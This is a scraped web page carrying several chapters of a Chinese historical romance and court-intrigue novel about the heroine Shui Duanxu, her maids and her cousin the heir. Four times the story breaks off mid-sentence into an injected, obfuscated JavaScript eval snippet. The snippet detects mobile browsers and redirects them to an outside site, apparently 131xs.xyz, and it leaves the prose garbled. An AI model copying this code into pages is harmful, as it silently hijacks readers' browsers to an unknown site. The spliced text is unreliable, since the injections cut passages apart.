“是，奴婢即刻去嘱咐一二。” 行至院中，众人皆各司其职，独一瞩目便是，日藕与时莲二人正坐于石凳，一副游手好闲之态。 “娘子，她们竟偷闲躲静，我即刻去训斥她们一二。” 玉盘愠怒着，疾步走向二人，而水断栩则是在身后不疾不徐迈着步。 见玉盘已走至她们二人眼前，自己遂隐隐于一旁竹林中。 “你们二人！青天白日的，未免过于慵懒！旁人皆在干活，为何你们不做？” 她正好可见玉盘叉手而立，而日藕瞧见她身后无人时，徐徐起身道。 “玉盘姐姐，你这倒是冤枉我们了，不过是休憩片刻罢了，总好比，有人一直……养疴避事好。” “是啊是啊，我们呐，方才做活尽心尽力，不少女使为证，你说，是不是？” 时莲紧随其后辩解着，声音忽大起来，叫住一持着棕刷的粗使女使，见人人微言轻，便欲以此暗中胁迫。 可那粗使女使亦瞧见了水断栩，不免进退维谷，眼神飘忽，一会落在时莲身上，一会落在水断栩身上。 “问你话呢！你往竹林瞧是何用意？竹林处还能有人不成？” 时莲到底是沉不住气，自觉不应被一个粗使女使怠慢，遂趋跄而行，直奔竹林。 “我倒要瞧瞧，何人在此……娘子？” 时莲看清何人后，气焰顿消，毫无方才跋扈之态，双手交叠着，不断瞥向日藕的方位暗示着。 可惜，她未明了，仍旧大言不惭道。 “竹林究竟有何人至你如此？时莲，你还是过于胆小如鼷，莫论何人，纵使是娘子我亦然……娘子？” 时莲见状，认命般阖上双眸，含唇而立。 日藕匆匆赶至，与时莲神色有所不同，她当即卑躬屈膝道。 “娘子，您瞧暑气袭人，不如奴婢去斟茶，如何？娘子瞧着面色不佳，定是暑气所致。” “是啊是啊，娘子……” 水断栩见二人奴颜婢膝之模样，只觉可笑，心中想法逐渐被应证着，不过，还不够。 “不必，有差事需遣得你们，表兄着了风寒，你们去药局，抓几副药来。” 说罢，二人先是一怔，方才分明犯大不敬之事，合该惩处一番，可……竟还遣她们二 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15955514|177580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人差事？可随之窃喜着，齐声应下，便趋步离去了。 “娘子，方才她们二人都如此……为何不惩处？”玉盘来至她身侧，仍旧忿然着。 “今日不算炎热，备好帷帽，随我去市肆。” “娘子！” 见水断栩并未理会，玉盘只能顿足泄愤，回身一转，仍是备好帷帽跟随着。 水断栩换了身素净些的藕色衣裳，带上帷帽，往市肆而去。 她并非言明去何处，总归在途中，隔着帷帽瞧见不远处前面铺子牙婆，她倏然开口问询道。 “前些日子那囤积居奇的牙婆，如今可还在狱中？” “奴婢回府便遣杂役去打听一二，不过……娘子怎好端端想起此人？” 见玉盘问起，水断栩念着，总归是要遣她去行事，见周遭并无途人，便言说一二她的计谋。 “娘子！此事……”玉盘连忙环视周遭，稍稍放下心后，轻声又携焦灼道，“娘子，此事凶险，若是被发现……” “无妨，事成后，她自会在京城消失得无影无踪。” 安抚好玉盘后，二人复行，风簌簌，吹起面纱，亦是因此，令她瞧见了正准归家的春月。 “水娘子？” 二人皆瞧见了彼此，见春月手中持着布料，她便顺口问起，春月闻言应答道。 “我家相公近日衣裳破了，除了皂衣……亦无旁的衣裳，遂念着，再制一件来。” “说来不怕娘子笑，但確为怪异，我家相公纵使衣裳穿旧，亦是不会丢弃，可此回我皆未瞧见是破成如何，本念着打个补丁，他却扔了不肯告知我半句。” 闻言，水断栩只当是叙寒温，便与春月话起桑麻，待言说一会后，春月倏然问询道。 “水娘子今日是有何事？一话桑麻我便喋喋不休，烦水娘子听这些了” “无碍无碍，我今日实为家中人着了风寒，我为其去药局抓几副药去，既春娘子亦要归家，便就此别过。” 待目送春月离去后，水断栩隐隐间总觉不对劲，可自己言不出是何处不对劲。 “娘子，您看！是日藕与时莲！” 水断栩思绪被搅乱，循眸光看去，果真是这二人，正慢悠悠地挪着步子，手中各拿了些吃食。 “玉盘，你先去药局，我去瞧瞧。” “是。” 玉盘离去后，她悄然靠近二人，不远不近，恰能听到二人所言。 “日藕，你说我们这样有意耽搁，娘子不会怪罪下来吧？” “你啊，不会细细想想？那玉盘今日面色不佳，定是在娘子那被训斥，我们那安神香还是有用的，早就瞧那玉盘不快了，仗着双手受伤，便避事。” “再者，今日我们在竹林旁如此皆无事，娘子自己寄人篱下，怎好为难我们呢？” “不过事关世子，旁的事还好耽搁，此事若是怪罪下来，娘子要是全怪罪于我们，万一……万一沦为粗使女使可如何是好？” 水断栩听罢，见二人上一瞬忧心，下一瞬仍是如此，遂悄然离去，恰好玉盘抓药而归，二人启程回府。 “什么？她们二人竟猖狂至此？娘子要如何对付这二人？定要严惩！” 玉盘获悉二人所言，不由火冒三丈，险些攥着药囊。 “可曾听过，郑伯克段于鄢？【注1】” 8. 互诉衷肠 “欲取姑予，灌夫骂座，养骄些，才能自贻伊戚。”见玉盘不解，她启齿解释着。 “娘子，您说得奴婢一知半解，奴婢眼下只知晓，世子这药……不如……奴婢待会儿便知会刘嬷嬷一声，管事妈妈再传个话，寻赵管家禀明世子身旁长随，如何？” 二人已行至角门，水断栩闻言止步，思之少顷，方明其意，这丫头，是让自己将药送过去！ “玉盘！” “娘子，手痛难忍，不能执药！奴婢先去寻刘嬷嬷了！” 正要扪其颊，柔荑方抬，玉盘便将药囊塞进她双手中，继而钻了空，走如飞鸟，直直飞进青塘苑。 水断栩望着手中药囊，良久，终是哑然失笑，许是因玉盘断灵黠，亦或是……药囊掂着掂着，便回了院落中。 院中凉棚搭好，贵妃榻上铺着软垫与引枕，她躺于榻上颇觉惬意，一旁的冰盆正传来丝丝凉意，两个女使正持团扇轻摇。 瓷碟中盛着葡萄，她拈起一枚放入檀口，清凉被勾入唇齿，榻旁的香炉正焚着檀香，几近昏昏欲睡时，玉盘谙响传至耳中。 “娘子，二门婆子回话了，世子意为，去厅内言谈一二。” 水断栩正支颐，闻言，蹶然而起，离榻时，匆匆取一葡萄吞下，临走前，竟险些忘拿了药囊。 “娘子，您……” 行至厅前，水断栩经玉盘提撕，才惊觉唇角溢出的微微葡萄露，连忙用罗帕擦拭着。 今日……怎么如此冒冒失失，倒全然不似自己了。 她踏入厅内，便见一屏风阻隔着，可屏风后却未勾勒中人影，连影影绰绰皆未。 见此情形，水断栩便以为是须自己静候片刻，世子还未至，便与玉盘同刘嬷嬷待着。 三人来此时，便是瞑色入楼，如今已然钟鸣漏尽，莫论祝见粼，连贴身长随都未见。 “娘子，我们可要……继续候着？”玉盘已有些许坐立不安，出声问询着。 “再等等。” 水断栩索性阖上眸，绞手再无他言，刻香燃着，时不时发出窸窣声，身旁二人见状，同样低眉不语，只一味地俟着跫音起。 “噔噔！” “噔噔！” “噔噔！” 良久，终至响起跫音，玉盘与刘嬷嬷不期而同地抬眸，眸中揣着希冀，盼着来者是世子。 再候下去，怕是真要望穿秋水了。可水断栩双眸却未睁开，正拊楹。 “扑通！” “世子饶命，世子饶命呐！” 率先踏入厅内的并非祝见粼，而是前些时日随在他左右的小厮，如今何处还有往昔的趾高气扬之态？ 入目襟裂带断，血染罗襦，眸光往上移，面容鼻青脸肿，一个人从气焰熏天到奄奄一息，哀号不已，不知是犯了何错。 刘嬷嬷到底是老成持重，见此情形仍旧低眉，向身后随之而来的祝见粼行万福礼，玉盘则还是碧玉年华，何来见过此场面？纵使在绽翩时亦未有，当即掩住口，竭力稳住心神，匆匆屈膝行礼着。 “老奴请世子爷安。” “奴婢给世子爷请安！” 祝见粼不顾匍匐在地的小厮，从一旁走过，不沾染一丝小厮的哀号，径直走向水断栩身侧。 他蹲在身侧，将衣袂理了理，极尽不去触碰那小厮不断靠近的十指，继而仰首，眸光落在水断栩面颊上，纹丝不动。 “世子，小的真是无心之失……求您……饶小人一命罢……” 话音落，却无人应答，众人噤若寒蝉，自是无人为其出言求情。 可纵使方才多大动静，水断栩仍旧阖眸不顾，指尖轻敲着，发生“咚咚”声，竟成了厅内唯一之声响。 旁人屏息凝神，明知所见此情此景不合礼法，可眼前小厮便是活生生的前车之鉴，何人敢再僭越？勇夫招祸一理并非晦涩难懂。 “世子，您此举于理不合，您与水娘子应……应隔着屏风……还需呈报给夫人……” 可偏偏有自恃举足轻重之辈，世子院中的嬷嬷竟率先出言制止了，想来她之所以挺身而出，是因自己在府中下人里颇具人望，又因往日的祝见粼亦是好言好语，故她直言。 “嬷嬷应是全心全意念着国公府的罢？” “回世子的话，老奴当是如此。” 嬷嬷未料及他会如此应答，便顺着祝见粼所言说下去，看自己并未受到怒气延及，不免沾沾自喜自己在府中分量。 “既当是如此，嬷嬷如今年老体衰，便去香火院里带发修行，权当为了国公府的福分，寄思──” “是。” 说罢，一直在门外侍立一旁的长随──寄思，闻讯便招呼了俩女使，将方才出言嬷嬷拖拽下去。 “不──世子，老奴是国公府老人，可为针线嬷嬷来教习，世子您不可这么……唔……” “多嘴。” 嬷嬷求情话语未落，便被寄思用一团衣物堵住口，可俩女使却迟迟未有动静。 “若是今日一事有旁人知晓，或者有流言歪曲什么，编造什么，这小厮的今日，便是你们明日，乃至更甚。” “唔……唔……” 待吩咐一番后，嬷嬷身影才愈来愈远，拖拽声，呜咽声，终至不是只有指尖轻敲的咚咚声，几种声音杂糅在一起，还伴随着祝见粼的哕哕声。 “咳……咳咳……” 祝见粼自方才始，自始至终眸光便落在水断栩一人身上，纵使是警告嬷嬷之语亦然如此。 不知是因眸光注视，还是因哕哕声此起彼伏，水断栩终徐徐睁开双眸。 她平日双眸便是平静如水，波澜不惊，许是在与玉盘同处时，或是旁的情形下，双眸才如被掷了石子的湖面般，泛起阵阵涟漪。 此时这双眸睁开时，便如夏日中化解暑气的一块块冰，将厅内的焦灼化为乌有，化成水，流入众人心间。 “表兄今日如此大动干戈，所谓何事？” 开口携着淡然嘲讽，目移，与祝见粼四目相对，他的双眸中有道不明的情愫，似是期盼，又似是哀伤。 “我并不知晓你此时来，不然……我定不会让妹妹候我如此久，是这小厮假通传，我身子不适確……確令他处理此类事……咳咳咳……婆子误以为我应允，才……” 水断栩闻言秀眉微蹙，见众人皆低眉不语，她趁无人看见时，指尖攀上祝见粼的衣袖，轻轻叩在织金丝之处。 “你们……都先在外守着，咳……过会儿再……进来……” “是！” 小厮被架着离开了屋子，连同众人。 待众人皆离去之时，水断栩缓缓起身，手摩挲着腰间悬挂的香囊，启齿道。 “表兄既风寒未愈，合该在屋中好生养着身子，此时出了屋子吹了风，复受凉，怕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15955515|177580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是不好了。” 既他言之凿凿，小厮一事或许为真，自己却只欲将药囊递与，便拂袖离去。 可自己分明，是来送药来借此求和的，为何自己要如此行事？ “这药囊，表兄便收下，夜深了，若有何事，明日再说罢。” 逃避是水断栩三十六计中第一计，亦是计策中的上上策，算卦时的上上签，除此法，她几近鞭长莫及。 “妹妹可是要逃？妹妹许是足以再忍受，可我不能，未能适时解释，我心已难安，放河灯那晚是我冲动一走了之，未顾妹妹所想……可否宽容一回？容我说完？” 水断栩本欲转身离去，可回身一转之际，她便被祝见粼挡住了去路，眼前是宽厚的胸膛，身后是逃路，可她鬼使神差地未挪动分毫。 除玉盘，她头一回遇见如此炽热情感，这灼灼扑面而来，将她完完全全裹住，水断栩觉这心火炽然，自己竟陷入其中。 “好。” 她开口时，声音竟是意料之外的轻，魂驭形驰，回过神已然应下。 “妹妹可愿一同赏月？歇山顶上倒是好去处。” 祝见粼说罢，走向窗棂旁，下一瞬，便轻手轻脚翻窗而去，蹑足潜踪，随即从窗外探进脑袋，招呼着水断栩。 她见此情形只觉惊诧，可神夺其魄般，她亦走向窗棂旁，摄足屏息，继而翻窗而出。 “当心。” 话落，待水断栩稳稳落地后，才发现他悬着举起的双手。 “得罪了。” 只见祝见粼揽过她的腰肢，借力而行，几个起落后，衣袂随风而动，风铎作响，终是落在歇山顶处，月白风清，一钩残月悬于苍穹，二人身影处于月色下，落在飞檐上。 奇妙之感袭遍全身，水断栩不觉间面颊染上绯红，这触碰之感……竟是如此酥麻透骨。 二人竭力隐蔽些，恨不得匿于夜色，坐下后，水断栩望着月明星稀失神。 “砰！” “砰！” “砰！” 忽有烟火硕然绽放，犹如天女散花，五光十色，华光熠熠，顷刻之间照亮了水断栩的双眸。 犹如一汪死水中，绽放出绚丽来，烟火肆意闯进她的双眸，烟火不息，光亮未止。 待烟火燃尽后，水断栩转首，恰与祝见粼眸光相撞，他唇角携着淡淡笑意，笑起来眉眼弯弯，似天上的月牙，皎洁不容亵渎。 “想来上回烟火并未予妹妹忻愉，不知此回烟火，妹妹可还称心满意？” 闻他所言，水断栩眸光沉沉，良久，唇角微微扬起，她才启齿道。 “自是十分欢喜。” “妹妹既眉展，可允我言说一二？” 闻言，水断栩颔首，权当应允，祝见粼遂开口道。 “妹妹仗义执言，为兄是真的欣慰，可一闻妹妹当时振衣而出，担忧亦有，那夜我应与你讲明了些，可回府便着了风寒，适才未及时去解释一二，烦妹妹为之忧心。” “那小厮不仅是假通传，还盗窃府中财物，是以两罪并罚，才有他今日之模样。” “若是妹妹怒气仍未消，我在此作揖赔罪，还望妹妹海涵。” 说罢，气韵陷入寂然，连同瑟瑟的风，皆在等候水断栩开口。 她先是制止祝见粼行揖礼，少顷，才启齿道。 “好是一堂和气，胜十分春色。”【注1】 9. 祸出不测 “话虽如此，”水断栩有意将声拖曳着，偏首正视着良宵美景，此刻风恬月朗，夜阑人静，她轻声出言道，“表兄方才咳嗽不止，如今倒是全然病愈，未曾想，与我交谈有这奇效。” 她微哂着，笑意蔓延至整个面颊，将其裹住浸在笑意中。 “妹妹若是愿意宽恕，我甘载泣麟，饮冰茹檗。” 二人目逆，水断栩见他眸中蕴藏着隐隐星子，明星煌煌，疏星炯炯,散发着点点寒芒。 看得她心荡起来，有一股妄念，让她竟想抬手，将这星子揽入掌心，攥紧，不再松开。 “表兄以为是自己一人之过，诚不然，此为龟玉毁椟，若全然归咎于你，怕是极为不公。此外，我明了，表兄亦是在担忧我的安危。表兄所赠这烟火，很是绚烂夺目，我自是忻愉。” 水断栩正视瞧见的为烟火，转首入目为祝见粼的面容，心中竟涌起莫名暖流，比揽腰更为酥麻。 “妹妹来京亦有些时日，还未见过祖母，如今祖母仍在寺庙为国公府祈福，闻母亲病了，怕是要待更久些。” “父亲向来专横独断，不容他人置喙，嗔怒时，哪怕是母亲亦要酌情开口，累及妹妹经此一遭。” “不知……妹妹来京……可还有欲观游之所？” 祝见粼此一边言说着，彼一边将头愈垂愈低，言道祝国公时，声音更是微不可闻，如咽露秋虫。 “待姑祖回府，我定然会去上谒，姨丈一事，想来是我触了二娘子的禁忌，与父兄所做之事板上钉钉，才会如此，表兄不必介怀，你瞧，青塘苑吃穿用度不是皆未被克扣吗？” “我……一是想……” 水断栩一一回应他所言，却在言至其旨时犹豫了，她到底不能全然将真心交与，三言两语便可令自己全盘托出？那是万万不能之事。 故，几冬一事，期儿一事，她只能倚靠自己去查明。 故，她改口道。 “我……此前未有银两为兄长备棺椁，如今进了国公府，不再是囊中羞涩，合该拖骼埋胔，让兄长之魂魄不再为蒿里谁家。” 言到此，她适时落下几滴泪，一副泫然欲泣之态，水断栩之“死因”令人羞愤，纵是爹娘闻之，亦是不愿为其备口薄棺，实属人人唾弃。 此外，早已过了小敛与大敛之时，在府中时，自己几乎日日着一袭素色衣裳，权当寂然为自己穿上丧服。 陶氏曾问隐晦地过问询过此事，她当时言明，兄长的尸首已归葬祖茔，阖府上下对她扯的慌深信不疑，毕竟，无人愿与此荒唐之人扯上干系。 经玉盘去市肆时，从说书人那获悉，圣上闻水参议之死因，龙颜震怒，若非有国公府，水家怕是要阖府流放。 此事亦牵扯祝迴，许是因此事，他才在朝堂之上，被群辅遇葳蕤所抨击，是以将怒气发泄于言语中，丝毫不予水断栩薄面。 《大璞录》遂添了一条，名为“醉生梦死”，是以警戒后人，万不可如水参议一般“酒后乱性”。 “妹妹为何不早言明？我……我并非有意责怪于你，但此事并非寻常小事般，水参议一事……可需我相助？” 水断栩有些许怔然，双眸定定地望着眼前人，她念起昔日种种，祝见粼是如何拒人于千里之外，可如今……简直判若两人，她不明了祝见粼一改往日冷淡之缘由，亦不敢面对这热烈。 遂，她启齿回绝了祝见粼，继而语道。 “表兄放心，我自己足以为兄长下葬，有银子还怕何事不成？不过……有一事，我需表兄相助，可否寻个信得过的杂役？我有要事需托其奔走。” “仅此而已？” “仅此而已，劳烦表兄了。” 说罢，与祝见粼再无他话，心亦随之寂然，直至下屋檐时，水断栩再度感知到腰间的触碰，耳垂亦再度染上薄红时，心中才复荡漾起来。 二人稳稳当当停在地面，继而再度翻窗而进厅内，一切天从人愿。 而厅外站立几人，受尽了夜间风簌簌拂过身躯，玉盘不禁瑟缩着肩，转首问询着刘嬷嬷。 “刘嬷嬷，世子与娘子怎生未有动静？怪道出了何事？” “稍安勿躁稍安勿躁，世子与娘子不过是商议要事，何来有未有事一说？玉盘姑娘，还是勿要冒冒失失行事为好。” “是……” 见刘嬷嬷神色自若，玉盘遂不再言语，纵使心中十分担忧，亦只能静候着娘子归来。 “玉盘？” 水断栩方踏入厅外，便瞧见玉盘垂眸，足尖有意无意并拢又远离，见状，她启齿轻声唤道。 “娘子！” 玉盘看清来者后，竭力制止自己僭越之举，只声音稍大些唤了她一声，双手绞着，衣袖已生出襞积。 “刘嬷嬷，一同回去罢。” “是。” 三人行在回府途中，一路无言，玉盘则是借着月色，不断窥视着水断栩身上有无伤痕，或是手腕可有指痕，见一切无碍，她方才宽心。 “娘子早些歇息，老奴告退。” 待刘嬷嬷回了乳母院，途中便只剩水断栩与玉盘二人。 水断栩瞧见玉盘左顾右盼之态，便知她心中所想，欲问询一二又怕隔墙有耳，环视是或不是四下无人，倒是思虑周全。 水断栩见状，有意疾步而行，听闻身后玉盘的急促跫音，她趋步而去。 “嘎吱。” “嘎吱。” “娘子！” 待回至屋中，玉盘关上轩窗与绣户，再也按耐不住心中所疑惑，瞧她如鲠在喉之模样，水断栩便如实交代了方才屋檐发生一切。 “什么？” 玉盘闻言，不自主地惊呼出声，回过神意识到不妥后，双手掩口，捂得严严实实，良久，才从指缝中出声道。 “娘子……世子……你们……冰释前嫌之法居然是……在屋檐上赏月？” 水断栩获悉她所想后，当即用指尖戳了她额角，见她吃痛地捂住，颇携不悦开口道：“你这丫头，正事还未说，我已然从表兄那借来一信得过的杂役，计划如今万事俱备，只待东风。” “娘子意为，托这杂役将牙婆赎出？此事纵经过世子，可亦然……望娘子三思！” 玉盘的烦忧她自是知晓，可奈何她一时半会无法握得管事妈妈把柄，遂只能剑走偏锋。 “玉盘，只有死人，才会永无后患，这牙婆恶贯满盈，除掉了她，亦是为被她所蒙骗之人报仇。” “这牙婆不仅以次充好，还诬赖他人名节，既她惯会使此法，不如以其人之道还治其人之身，不过……需尽一尽其终义，再除之。” 水断栩胸有成竹，自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15955516|177580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是有法子应付，许是因此，今夜入睡时，皆含哂。 “水断栩，你该死！” “你该死！” “该死！” “……” 她耳旁不断地传来此等声音，有鬼魂呜咽声，有刀剑相交铮铮声，黑暗中似有一处泛着寒光，引着她去触碰。 “啊！” 触碰到的刹那，她猝然睁开双眸，入目便是期儿高举着匕首，正要朝她刺去。 “受死吧！” “来人呐！” 匕首落下时，水断栩舒适辗转到另一侧，躲过一劫，方才喊声惊起正酣睡的玉盘，只见玉盘趁其不备夺下匕首，期儿踣之。 “此事勿要弄出动静来，”水断栩恢复神智后，用一团衣物堵住其口，继而吩咐道，“关进耳房，由玉盘你来审问，是或不是有幕后主使，纵使打得皮开肉绽，亦要盘问出来。” “是，玉盘谨遵娘子吩咐。” 玉盘领命，当即凭一人之力将期儿拖拽出去，期儿被拖拽走时，口中发出呜呜声，面目狰狞至极。 待屋中只有她自己一人时，水断栩跌坐在地，濒死的恐惧再度席卷全身，纵使自己方才如何强装镇定，可身躯微颤仍然彰显着惧怕。 方才……自己险些要再死一回了…… 劫后余生慨叹时，她不知是该庆幸，还是后怕。 平稳心神后，她起身披上月衣，面容与往昔无异，继而阔步走向耳房。 “居然敢伤我家娘子？看来你是熊心豹胆，如此胆大包天，说，何人指使的你！” 水断栩踏进耳房时，便听闻玉盘的声音，见期儿被禁锢于一处，动弹不得，而玉盘手中空无一物，正叉着腰，对期儿劈头盖脸叱骂着。 “你这神情，莫不是说无人指使你？荒谬至极！我家娘子与你无冤无仇，你何来怨恨去刺杀！定是……娘子？您怎么来了？” 待玉盘看清来者是何人后，便住了口，端来一张椅子后，便站立一旁，静候着水断栩开口。 “你，不会蠢笨至如此，以为几冬之死与我有干系？”她上前扯去期儿口中那团衣物，见期儿喘息未定，继而开口道，“说来倒是奇了，姨母责罚你那日，分明准许了你与几冬的婚事，为何你不愿？莫不是……” 本是被禁锢的期儿倏然挣脱了桎梏，径直往一旁墙上撞去，幸而水断栩眼疾手快，当即令她蹴倒在地。 “玉盘，下回多加留心，勿要留下锐器。” 水断栩从其掌心取出一碎瓷片，瓷片将期儿掌中留下血痕，可她似浑然不觉疼痛般，直勾勾望着水断栩，望着望着，竟轩渠不已，模样癫狂。 “我不知是何人在你耳旁说了什么，可我水断栩未做过之事，自是不会认下。” 水断栩见状，思忖片刻，垂下眸，转而揪起期儿衣裳，迫使她靠近自己，在期儿耳旁低语着，眼见着她神色有变。 “是日藕，还是时莲？不论是她们其中任何一人，或是她们二人，她们终至会如几冬般身死，将信任交付于两个朝不保夕之人，倒不如……弃暗投明。” “信任我，才是你不二之选，期儿，你如今，已然别无选择了。” 见期儿目眦欲裂，目眩神摇，水断栩再度附在她耳旁，一字一句，掷地有声道。 “你只能信我。” 10. 别山 “你就不愿知晓，几冬是如何身死？若你果真悃愊肫挚，对几冬输肝剖胆，为何不去义冢？还是你……忧虑甚多，因此踟蹰不前？” “既是如此，今夜，我便领你走一遭。” 期儿眼眸中一瞬如蛰虫复振，止水重波，可仅一瞬后，又如冥昭瞢暗，淡然启齿道。 “娘子还是勿要戏谑奴婢了，若是被发现夜间外出，娘子名声怕是有损，奴婢如今声名狼藉，乃是淫奔无耻之辈，已不挂齿颊，可娘子须当心。” “这名节，不论你昔日是何作为，不论你是作务精勤，亦或是咏絮高才、陶朱娥术，只要行差踏错一步，便坠入无尽严渊，永无翻身之时。” “宽恕遗忘，竟比金银还难求。” 说罢，期儿徐徐起身，朱露从手掌处滴落，抬手轻抚凌乱青丝，衣袖顺势落下，露出深深浅浅伤痕，正狰狞着，叫嚣着。 水断栩借着烛光，自是瞧见了伤势，可期儿方才还欲了结自己的性命，她并非菩萨心肠，不是慈悲之辈。 故她霜瞳凛冽，并未付之一言，足以揣度出期儿沦为粗使女使是何境遇。 众人见期儿如今式微，从夫人贴身女使沦落如此，自是乘危下石，众口铄金，想方设法为难于她，遂见其沦为弃子，便动辄打骂，肆意羞辱，是以身上有多处伤痕。 念及此，水断栩脑海中浮现一个个情景，有期儿被迫刷了整院的恭桶，有期儿十指被鞋履碾于地，正嗷咷不止，情景之浩穰，令其讳疾忌医。 可期儿经受这一切，并非水断栩所施加，纵使她痛不欲生，皆不是她来夺自己性命的缘由。 怜悯？不忍？她道不明是何情愫，可期儿于自己还有值，遂她启齿道。 “明日，明日卯时，我便会携你去义冢，我于角门处静候，来与不来，全然看你如何抉择。” 说罢，水断栩目送着摇摇欲坠的期儿离去，手掌伤口尚未包扎，往昔所受杖责落下的伤，也未愈合，每行一步，便牵扯着其创。 “娘子，明日还有要事，您去歇息罢，此处有奴婢来董理。” 水断栩不知自己是如何回至榻上，僵于床榻，入目是纱幔低垂，宵分蔽月。 因期儿刺杀在前，她不敢阖眸，竭力睁目，几近目眦欲裂，可抵挡不住袭来的浓浓倦意，几番抵抗折腾下，还是阖上了双眸。 “遇公子，您就饶了小的吧，就一回，小的在此担保，绝不出现在您面前污了您的眼！” 故音传入耳中，她徐徐睁眸，便瞧见一小厮装束之人伏于地，面容已是鼻青脸肿，正不断磕头哀求着。 而站于他正前方之人，水断栩虽不识，但看衣裳便知是贵公子，一袭月白色衣袍，好似松筠之节的君子，可此时却露出丑恶嘴脸。 “荒谬，你往日不是极为嚣张跋扈吗？今日何须在此摇尾乞怜？可还记得，被你殴打的遇府小厮！不知打狗看主？敢下遇府脸面，你们！给我狠狠地打！” 身旁小厮唯唯听命，攘臂上前，不由分说便落下拳脚，更有甚者持着长镵。 “啊！公子饶命啊！” “公子！” 亦是在此时，小厮面容呈现在日光下，水断栩才瞧见其真容。 竟是已然身死的几冬！ 他捂着脑袋挣扎着，不断呼号着，水断栩离几人不远不近，欲上前，可自己此时却安如磐石，挪动不了分毫。 “啊！啊！” 她就如此在不远处望着，入望是几冬在几人拳打脚踢下渐渐不再叫喊，终至有一小厮持着长镵上前，予了其致命一击。 几人见几冬无了挣扎，甚至一动不动，不免手足无措起来，那小厮当即丢下长镵，上面已沾染了朱露。 “公子……他……他死了！这回如何是好？” 罪魁祸首却极为淡然，似不是头一回经此事，不知手下亡魂有几，只见他淡淡开口道。 “有何可怕？不过一小厮罢了，横竖贱命一条，纵使国公府查明到本公子身上又何妨？总不能为其与遇府不相往来，况且，他不是有相好吗，你，去想法子让国公夫人知晓此事，待他声名狼藉，本公子倒要瞧瞧，何人敢管！至于这晦气，便丢至义冢罢。” “是！” 几个小厮合力将几冬尸首抬起，水断栩则是在原处既无法行走，亦无法开口呼喊，只能眼瞪瞪地望着所发生的一切。 罪魁祸首亦随之而去，临走前，恰逢风乍起，掀起其衣袂。 不知是或不是风的缘故，他转首，恰与水断栩眸光相接。 四目相对仅仅一瞬，他偏首，登上了安车离去。 方才风卷土重来，将她吹离此处，周遭之物之景在眸中不断遽影，直至消失于无。 “娘子？” 谙响响在耳畔，水断栩睁开双眸，入望便是玉盘目如烟熏之态，便知她昨夜为董理没能安稳入眠。 “娘子今日不是要给公子下葬祭拜吗？莫非是忘了？” 经玉盘提撕，被梦扰了的心神垂垂安稳，她深深息，继而起身。 今日下葬之事须隐而不言，故一切毕后，趁着昧旦，二人并未携带随行侍卫，只有一马夫，脚踏已置于安车旁，可水断栩却未蹀躞上前，她只直直注目着角门内。 “娘子，如今宵禁已过，大可动身，若是令旁人瞧见……” 玉盘忧心之言声至，她自己明了此事，可片刻后，角门处仍未见人影。 “走罢。” 她謦欬道，提起衣袂，踏上脚踏进了驷内，方在软垫上坐定，便有“嗒嗒嗒”声来。 “奴婢晏至，望娘子恕罪！并非奴婢有意令娘子久待。” “你倒是有缘由了，娘子平旦便在角门处候着你！” 水断栩澹然听完二人谈话，抬手掀起车帘，与玉盘眸光相接之际，眼神瞥向坐于辕间坐的车夫，继而颔首。 玉盘即刻会意，怏怏不乐道：“幸而娘子古道热肠，便不计较此事，趣来。” 三人坐于驷内，辘辘声起，驶向城外。 驷内，水断栩阖着双眸，一言不发，昨夜梦实属蹊跷，可脑海中此梦已然徐徐褪去，她只记得，那沾血的长镵，与贵公子不屑漠然的话语。 “何人！出示府牌或路引！” 城门吏声至，正色厉声，水断栩掀开车帘，竟认出眼前人正是李青蔽，可他似不识自己般，仍旧如初见时秉公办事。 她递与府牌，见李青蔽细细看去，待核实无误后，他继而出声道：“贵府娘子出城，所为何事？” “去义冢，去见府中不幸亡故的小厮。” 水断栩注目不移，不肯忽视李青蔽神情之变化，他闻言，捧着府牌的双手显然一僵，可神情仍旧如常。 “既登记，娘子请通行。” 她收回府牌，辘辘声复起，良久，抵达义冢。 “娘子，到了。” 马仆写笺出言道，辘辘声止。 “写笺，你方才可是听见了什么？我忘性大，你可知我们是为何而来？” “回娘子的话，今日娘子不过是去铺子里寻牙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 